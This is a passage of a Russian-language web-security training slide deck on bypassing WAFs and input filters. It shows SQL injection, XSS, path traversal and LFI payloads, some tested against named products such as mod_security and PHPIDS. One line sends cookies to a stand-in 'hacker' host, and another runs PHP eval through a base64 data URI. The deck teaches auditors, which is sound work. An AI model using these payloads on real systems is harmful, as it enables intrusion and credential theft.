/?id=(1);exec('sel'+'ect'(1))

/?id=(1)or(0x50=0x50)

Page 80: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности (3) – SQL Injection

Использовать null-byte для обхода бинарно-зависимых функций

Пример: if(ereg ("^(.){1,3}$", $_GET['param'])) { … }

/?param=123

ereg ("^(.){1,3}$", "123") – true

/?param=1234

ereg ("^(.){1,3}$", "1234") – false

/?param=1+union+select+1

ereg ("^(.){1,3}$", "1 union select 1") – false

/?param=123%00

ereg ("^(.){1,3}$", "123\0") - true

/?param=1/*%00*/union+select+1

ereg ("^(.){1,3}$", "1/*\0*/union select 1") - true

Page 81: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности (4) – SQL Injection

Обход функции addslashes()

Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK

Как это работает?

addslashes("'") т.е. 0x27 вернет "\'" т.е. 0x5c27

• Пример для кодировки GBK:

• 0xbf27 – некорректный символ

• 0xbf5c – корректный самостоятельный символ

• после обработки функцией addslashes() 0xbf27 превращается в 0xbf5c27 т.е. 0xbf5c и одинарную кавычку 0x27

Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/

Page 82: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности (5) – SQL Injection

Пример распространенной уязвимости в функциях фильтров безопасности

• Следующий запрос не позволяет провести атаку

/?id=1+union+select+1,2,3/*

• Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает

/?id=1+un/**/ion+sel/**/ect+1,2,3--

• SQL-запрос примет вид

SELECT * from table where id =1 union select 1,2,3--

Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc)

Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)

Page 83: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода фильтров на примере KIS 2009

Kaspersky Internet Security 2009

Ругается на: /?id=1 union select password from users

Но пропускает:

/?id=1 union select passwd from users

/?id=1 union select pass from users

/?id=1 union select login from users--

и т.п.

И пропускает: /?id=1+and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--

Page 84: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности – XSS

Пример эксплуатации XSS совместно с обходом встроенного фильтра от XSS-атак в Microsoft IE 8

<style>@\69\6d\70\6f\72\74 'http://ha.ckers.org/xss.css';</style>

D0znp, http://onsec.ru/vuln?id=4

Еще пример с BlackHat USA09:

<script>

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

</script>

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; D0znp, http://oxod.ru/2009/08/26/обход-xss-фильтров-по-средствам-особенос/; http://sla.ckers.org/forum/read.php?2,31708

Page 85: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода фильтров безопасности - Path Traversal

Пример уязвимости path traversal

• Логика программы:<? include("./files/".$_GET['file']) ; ?>• Эксплуатация уязвимости:/?id=/union%20select/../../../../../../../etc/passwd

Запрос принимает вид:<? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?>

Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам

Page 86: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Часть 5: Эксплуатация уязвимостей (WAF bypass)

Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)

Page 87: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Что такое WAF

http://server/?id=6329&print=Y

Нас атакуют!

Ахтунг!!!

WAF Webserverhttp://server/?id=5351

http://server/?id=8234

http://server/?id=“><script>...

http://server/?id=1+union+select...

http://server/?id=/../../../etc/passwd

Нормализация данныхDecode HTML entities (e.g. &#99;, &quot;, &#xAA;)Escaped characters (e.g. \t, \001, \xAA, \uAABB)Null byte string termination...

Поиск сигнатуры /(sel)(ect.+fr)(om)/is/(uni)(on.+sel)(ect)/is...

Page 88: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Какие они бывают

По режиму работы:

• Мост/Маршрутизатор

• Обратный прокси-сервер

• Встроенный

По модели защиты:

• Основанный на сигнатуре (Signature-based)

• Основанный на правилах (Rule-based)

По реакции на «плохой» запрос:

• Очистка «опасных» данных

• Блокировка запроса

• Блокировка источника атаки

Page 89: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Методы обхода WAF

Фундаментальные ограничения технологии

• Неспособность полностью защитить web-приложение от всех возможных уязвимостей

Общие проблемы

• При использовании универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика

• Обработка возвращаемого трафика клиенту

Уязвимости реализации

• Технологии нормализации

• Использование новых техник эксплуатации уязвимостей в Web (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена null-byte, etc.)

Page 90: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Небезопасное восстановление паролей (Weak Password Recovery Validation)

Методы обхода WAF – Фундаментальные ограничения

IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3http://seclists.org/fulldisclosure/2009/Aug/0113.html

Page 91: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection - нормализация

Пример уязвимости в функции нормализации запроса

• Следующий запрос не позволяет провести атаку

/?id=1+union+select+1,2,3/*

• Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает

/?id=1/*union*/union/*select*/select+1,2,3/*

• После обработки WAF запрос примет следующий вид

index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*

Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки

Page 92: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – HPP (пример 1)

Использование HTTP Parameter Pollution (HPP)

• Следующий запрос не позволяет провести атаку

/?id=1;select+1,2,3+from+users+where+id=1--

• Такой запрос успешно отработает при использовании HPP

/?id=1;select+1&id=2,3+from+users+where+id=1--

Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения

OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

Page 93: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – HPP

Как это работает?

Пример в среде IIS/ASP

GET /index.asp?id=param1&id=param2&id=param3 HTTP/1.1Host: localhost…

После обработки такого HTTP-запроса web-приложение в качестве значения GET[id] получит следующие данные:

Request.QueryString("id") = "param1,param2,param3"

Page 94: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: HTTP Parameter Pollution (HPP)

Page 95: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – HPP

Пример в среде Apache/PHP/Mod_Rewrite

Правило mod_rewrite:...RewriteRule (.+)/(.+)/(.+)/$ / index.php?action=view&module=$1&category=$2&id=$3…

HTTP-запрос:

GET /1/2/3&action=edit/ HTTP/1.1Host: localhost…

После обработки такого HTTP-запроса в Web-приложение поступит переменная GET[action] с установленным значением "edit” вместо ожидаемого значения "view".

Page 96: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: HTTP Parameter Pollution (HPP)

Технология/Среда Интерпретация параметров Пример

ASP.NET/IIS Склеивание через запятую par1=val1,val2

ASP/IIS Склеивание через запятую par1=val1,val2

PHP/APACHE Последний параметр результирующий par1=val2

PHP/Zeus Последний параметр результирующий par1=val2

JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1

JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1

JSP,Servlet/Jetty Первый параметр результирующий par1=val1

IBM Lotus Domino Первый параметр результирующий par1=val1

IBM HTTP Server Последний параметр результирующий par1=val2

mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1

Perl CGI/Apache Первый параметр результирующий par1=val1

mod_perl,lib???/Apache Первый параметр результирующий par1=val1

mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c)

Pythin/Zope Первый параметр результирующий par1=val1

IceWarp Возвращается массив ['val1','val2']

AXIS 2400 Последний параметр результирующий par1=val2

Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2

Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2

webcamXP Pro Первый параметр результирующий par1=val1

DBMan Склеивание через две тильды par1=val1~~val2

Page 97: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – HPP (пример 2)

Использование HTTP Parameter Pollution (HPP)

• Уязвимый код

SQL="select key from table where id="+Request.QueryString("id")

• Такой запрос успешно отработает при использовании техники HPP

/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

• SQL-запрос примет вид

select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users

Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf

Page 98: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – HPF

Использование HTTP Parameter Fragmentation (HPF)

• Пример уязвимого кода

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);

Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c']);

• Следующий запрос не позволяет провести атаку

/?a=1+union+select+1,2/*

• При использовании HPF такие запросы могут успешно отработать

/?a=1+union/*&b=*/select+1,2

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--

• SQL-запросы принимают вид

select * from table where a=1 union/* and b=*/select 1,2

select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--

http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html

Page 99: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Blind SQL Injection

Использование логических запросов AND и OR

• Следующий запрос для многих WAF позволяет успешно провести атаку

/?id=1+OR+0x50=0x50

/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, >) – Парадокс! Но многие WAF это пропускают.

Заменяя функции SQL, которые попадают в сигнатуры WAF, на их синонимы, можно эксплуатировать уязвимость методом blind-SQL Injection

substring() -> mid(), substr(), etc

ascii() -> hex(), bin(), etc

benchmark() -> sleep()

Данный пример справедлив для всех WAF, разработчики которых стремятся охватить как можно больше web-приложений

Page 100: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – PHPIDS

PHPIDS (0.6.1.1)

Ругается на: /?id=1+union+select+user,password+from+mysql.user+where+user=1

Но пропускает: /?id=1+union+select+user,password+from+mysql.user+limit+0,1

Ругается на: /?id=1+OR+1=1

Но пропускает: /?id=1+OR+0x50=0x50

Ругается на: /?id=substring((1),1,1)

Но пропускает: /?id=mid((1),1,1)

Page 101: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – Mod_Security

Mod_Security (2.5.9)

Ругается на: /?id=1+and+ascii(lower(substring((select+pwd+from+users+limit+1,1),1,1)))=74

Но пропускает: /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

Ругается на: /?id=1+OR+1=1

Но пропускает: /?id=1+OR+0x50=0x50

Ругается на: /?id=1+and+5=6

Но пропускает: /?id=1+and+5!=6

Ругается на: /?id=1;drop members

Но пропускает: /?id=1;delete members

Page 102: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: SQL Injection – Mod_Security

И еще один красивый способ эксплуатации SQL Injection в обход Mod_Security (2.5.9)

Сервер MySQL позволяет использовать комментарии вида:

/*!sql-code*/ и /*!12345sql-code*/

Воспользовавшись этим, можно очень элегантно проводить эксплуатацию SQL Injection в обход текущей версии mod_security. Примеры:

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/

http://devteev.blogspot.com/2009/10/sql-injection-waf.html

Page 103: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Общие проблемы

• Сохраненный вариант XSSВ случае если удалось «протащить» XSS через фильтр, WAF не

сможет воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavascriptПример: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>Эксплуатация: /?xss=500); alert(document.cookie);//

• DOM-based XSSПример: <script> ... eval($_GET[xss]); ... </script>Эксплуатация: /?xss=document.cookie

Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8)

Методы обхода WAF – Cross-Site Scripting

Page 104: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Cross-Site Scripting

XSS через перенаправление запроса• Уязвимый код:…header('Location: '.$_GET['param']);…А также:…header('Refresh: 0; URL='.$_GET['param']);…

• Такой запрос WAF не пропустит:/?param=javascript:alert(document.cookie)

• Подобный запрос WAF пропустит, и XSS отработает на некоторых браузерах (Opera, Safari, Chrome, etc):

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html

Page 105: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Cross-Site Scripting

Использование HPP, HPF иногда позволяет обойти фильтры

Обход правил фильтрации на примере ModSecurity:

<img src="x:alert" onerror="eval(src%2b'(0)')">

";document.write('<img sr'%2b'c=http://hacker/x.png?'%2bdocument['cookie']%2b'>');"

...

BlackHat USA09 Eduardo Vela (Эдуардо Вела), David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf

Page 106: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Path Traversal и LFI

Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется?

Пример 1. Чтение файлов в каталоге, расположенном выше корневого• Логика программы:<? include($_GET['file'].".txt") ; ?>• Эксплуатация уязвимости:/?file=secrets/admins.db/./.[N]/././?file=secrets/admins.db..[N]..

Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой:

- Нормализация пути (лишние символы, например, «/» и «/.» , удаляются)- Усечение пути (определяется константой MAX_PATH, которая обычно меньше

MAX_URI_PATH в WAF)

http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/

Page 107: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Path Traversal и LFI

Использование замены null-byte в реальных условиях

При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: "any/../file[N]", или "../../file[N]", или "/../../file[N]", где [N] - замена null-byte, характерная для атакуемой ОС.

Примеры (среда FreeBSD 7.2 с php v5.2.10 with Suhosin-Patch 0.9.7):

<? include("q/".$_GET['f'].".txt"); ?> Для выполнения атаки работает: /?f=../../../../../etc/passwd/.[N]/. , где /.[N]/. - repeat("/.", 487)

<? include("qq/".$_GET['f'].".txt"); ?> Предыдущий URL не позволит получить /etc/passwd. Но такой запрос успешно отработает: /?f=/../../../../../etc/passwd/.[N]/.

<? include($_GET['f'].".txt"); ?> Предыдущие запросы не сработают. Отработает следующий URL: /?f=non/../../../../../etc/passwd/.[N]/.

http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt

Page 108: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Path Traversal и LFI

Пример 2. Выполнение команд на сервере• Логика программы:<? include($_GET['file'].".txt") ; ?>

• Эксплуатация уязвимости:Запрос, блокируемый WAF:/?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

Запрос, который WAF пропускает:/?

file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();

Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable)

reference: коллективный разум antichat.ru

Page 109: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Практика обхода WAF: Remote File Including

Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!)

Примеры легитимных запросов в логике крупных web-ресурсов:

Перенаправление HTTP-запроса:• http://www.securitylab.ru/exturl.php?goto=http://ya.ru• http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru• http://www.google.com/url?url=http://ya.ru• http://vkontakte.ru/away.php?to=http://ya.ru

...

Обычная запись в Wiki:• http://en.wikipedia.org/wiki/Http://www.google.com

Online-переводчик:• http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru

Page 110: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Уязвимости в «живой природе»

Page 111: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах

SQL Injection в «живой природе»

Page 112: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

XSS – «головная боль» для всех web-проектов

Cross-Site Scripting в «живой природе»

Page 113: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

К чему приводит беззаботное отношение к безопасности web-приложений?

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

WEB-СЕРВЕР

Page 114: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Мы немного посканировали…

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

АНАЛИЗ ЗАЩИЩЕННОСТИ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Инструментальное обследование сети

Сканирование портов и сервисов

Исследование защищенности web-приложения методом «черного ящика»

Page 115: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

…обнаружили уязвимость в web-приложении…

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

ПОДОБРАН ПАРОЛЬ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Сканирование сети

Успешно подобран пароль!

• Эксплуатация SQL Injection

• Выполнение команд на сервере

• Повышение привилегий• Атака на внутренние

ресурсы

Page 116: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

…захватили управление всей сетью :-)

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

РАБОЧИЕ СТАНЦИИ

ГОЛОВНОЙ ОФИС

ФИЛИАЛРАБОЧИЕ СТАНЦИИ

СЕРВЕРЫ

СЕТЕВОЕ ОБОРУДОВА

НИЕ

MP SERVER

Рабочее место

аудитора

WEB-СЕРВЕР

ПОДОБРАН ПАРОЛЬ

ПРОВЕДЕНИЕ ПРОВЕРОК

ПРОВЕДЕНИЕ ПРОВЕРОК

Внутренний пентест/аудит по результатам пентеста

Внутренний пентест/аудит по результатам пентеста

Сканирование сети

Успешно подобран пароль!• Эксплуатация SQL

Injection• Выполнение команд на

сервере• Повышение привилегий• Атака на внутренние

ресурсы

Внутренний пентест• Установка сканера

MaxPatrol• Поиск уязвимостей• Эксплуатация уязвимостей

Перемещение в ИС ЦО• Проведение атаки на

ресурсы ЦО

Получение максимальных привилегий во всей сети!

Page 117: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Резюме

WAF – это не долгожданная "серебряная пуля"

• WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки

• Концептуальные проблемы WAF – использование сигнатурного принципа

Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде

Безопасность должна быть разумной

Безопасность должна быть комплексной

Безопасность – это непрерывный процесс

Page 118: Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях

Спасибо за внимание!

[email protected]@ptsecurity.ruhttp://www.ptsecurity.ru/